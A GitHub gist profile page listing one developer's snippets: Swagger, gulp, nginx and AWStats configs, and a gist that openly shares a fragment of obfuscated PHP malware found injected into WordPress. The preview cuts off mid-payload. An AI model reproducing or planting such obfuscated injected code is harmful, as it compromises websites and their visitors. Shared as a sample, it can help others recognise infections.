Skip to content

Instantly share code, notes, and snippets.

View manjeshpv's full-sized avatar
🇮🇳
in India

Manjesh V manjeshpv

🇮🇳
in India
  • LEADSchool.in
  • Bangalore
View GitHub Profile
@manjeshpv
manjeshpv / wodpress-malware-injection.php
Created February 29, 2016 09:37
Malware in WordPress- Injected PHP Code
<?php $tnfnirv = '#!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#w)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#DyfR x27tfs%6<*17-SFEBFI,6<*1)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-U5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6 x63 164 x69 157 x6e"; function evltynv($n){return chr(ord($n)-1);#!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeob%t2w/ x24)##-!#~<#/% x24- x24!>Ypp3)%cB%iN}#-! x24/%tx74 145 x5f 146 x75 1572 164") && (!isset($Gbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB` x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)85]Ke]53Ld]53]Kc]55Ld]55#*<%bGx27{**u%-#jt0}Z;0]=]0#)2q%l}S;bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj%h00#*<%nfd)##Qtpz)#]341)# x24#-!#]y38#-!%w:**<")));$aebbqtv = $wczleed("", $mse7,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rh%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n4 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x22-u%!-#2#/#%#/#o]#/*)3
app.use(function oAuthMiddleWare(req, res, next) {
const environment = process.env.NODE_ENV || 'development';
if (environment === 'development') {
const request = req;
request.user = {
id: 82, // Consultant ID
// id: 113, // Client ID
client_id: 44,
};
} else {
@manjeshpv
manjeshpv / gcm.yaml
Last active January 18, 2016 06:06
GCM - Google Cloud Messaging - Swagger Specs
swagger: '2.0'
info:
title: Google Cloud Messaging API
description: Send Android and Chrome Notifications
version: 1.0.0
host: android.googleapis.com
schemes:
- https
produces:
- application/json
@manjeshpv
manjeshpv / pods-employee.json
Created January 4, 2016 05:11
Pods Employee Information System - Install Pods Wordpress Plugin and Enable Migrate Packages -> Import
{"meta":{"version":"2.6","build":1451884220},"pods":{"4":{"id":4,"name":"user","label":"User","description":"","type":"user","storage":"table","object":"user","alias":"","fields":{"employee_id":{"id":5,"name":"employee_id","label":"Employee ID","description":"GIO-001","help":"","class":"","type":"text","weight":0,"pick_object":"","pick_val":"","sister_id":"","required":"0","unique":"0","text_allow_shortcode":"0","text_allow_html":"0","text_allowed_html_tags":"strong em a ul ol li b i","text_max_length":"255","admin_only":"0","restrict_role":"0","restrict_capability":"0","hidden":"0","read_only":"0","roles_allowed":["administrator"],"text_repeatable":"0"},"designation":{"id":101,"name":"designation","label":"Designation","description":"","help":"","class":"","type":"pick","weight":1,"pick_object":"custom-simple","pick_val":"","sister_id":"","pick_custom":"Executive Director\nBusiness Analyst\nDriver\nNetwork Engineer\nRecruitment Supervisor\nRecruitment Assistant\nSoftware Engineer\nUI Developer\n","required":
@manjeshpv
manjeshpv / util.js
Created January 2, 2016 06:11
Util for process directory in Yeoman, Bulk copy with Templates
'use strict';
var path = require('path');
var fs = require('fs');
var glob = require('glob');
var _ = require('lodash');
// this.sourceRoot(path.join(__dirname, 'templates'));
// genUtils.processDirectory(this, '.', '.');
@manjeshpv
manjeshpv / Gulpfile.js
Created December 29, 2015 04:12
Gulpfile for build and deploy in dokku and heroku
'use strict';
/* https://github.com/angular-fullstack/generator-angular-fullstack
* You can use this simplified gulpfile for creating dist by $>`gulp build`
* Deploy to heroku or dokku using git or heroku toolbelt
*/
process.env.NODE_ENV = process.env.NODE_ENV || 'development';
var os = require('os');
var gulp = require('gulp');
@manjeshpv
manjeshpv / Gulpfile.js
Created December 1, 2015 04:51
Gulpfile for Express Dokku deploy
'use strict';
process.env.NODE_ENV = process.env.NODE_ENV || 'development';
var os = require('os');
var gulp = require('gulp');
var open = require('gulp-open');
var copy = require('gulp-copy');
var nodemon = require('gulp-nodemon');
var jshint = require('gulp-jshint');
@manjeshpv
manjeshpv / nginx
Created November 10, 2015 16:41
Awstats for easyengine - prerotate - /etc/logrotate.d/nginx
/var/log/nginx/*.log {
size 10M
missingok
rotate 52
compress
delaycompress
notifempty
create 0640 www-data adm
sharedscripts
prerotate
@manjeshpv
manjeshpv / awstats.sh
Created November 10, 2015 16:34
Script to enable awstats for easyengine- $ ./awstats.sh mydomain.com
if [ $# -eq 0 ]
then
echo "No arguments supplied"
else
echo $1
cp /etc/awstats/awstats.sample.conf /etc/awstats/awstats.$1.conf
sed -i -e 's/XDOMAIN/'"$1"'/g' /etc/awstats/awstats.$1.conf
mkdir /var/lib/awstats/$1
echo '/usr/share/awstats/tools/awstats_buildstaticpages.pl -update -config='$1' -dir=/var/www/awstats.ayyayo.com/htdocs -awstatsprog=/usr/lib/cgi-bin/awstats.pl > /dev/null' >> /var/bin/awstats/awstats_update
fi
@manjeshpv
manjeshpv / awstats.sample.conf
Created November 10, 2015 16:30
AWSTATS sample file for easyengine - /etc/awstats/awstats.sample.conf
# AWSTATS CONFIGURE FILE 7.1
#-----------------------------------------------------------------------------
# Copy this file into awstats.www.mydomain.conf and edit this new config file
# to setup AWStats (See documentation in docs/ directory).
# The config file must be in /etc/awstats, /usr/local/etc/awstats or /etc (for
# Unix/Linux) or same directory than awstats.pl (Windows, Mac, Unix/Linux...)
# To include an environment variable in any parameter (AWStats will replace
# it with its value when reading it), follow the example:
# Parameter="__ENVNAME__"
# Note that environment variable AWSTATS_CURRENT_CONFIG is always defined with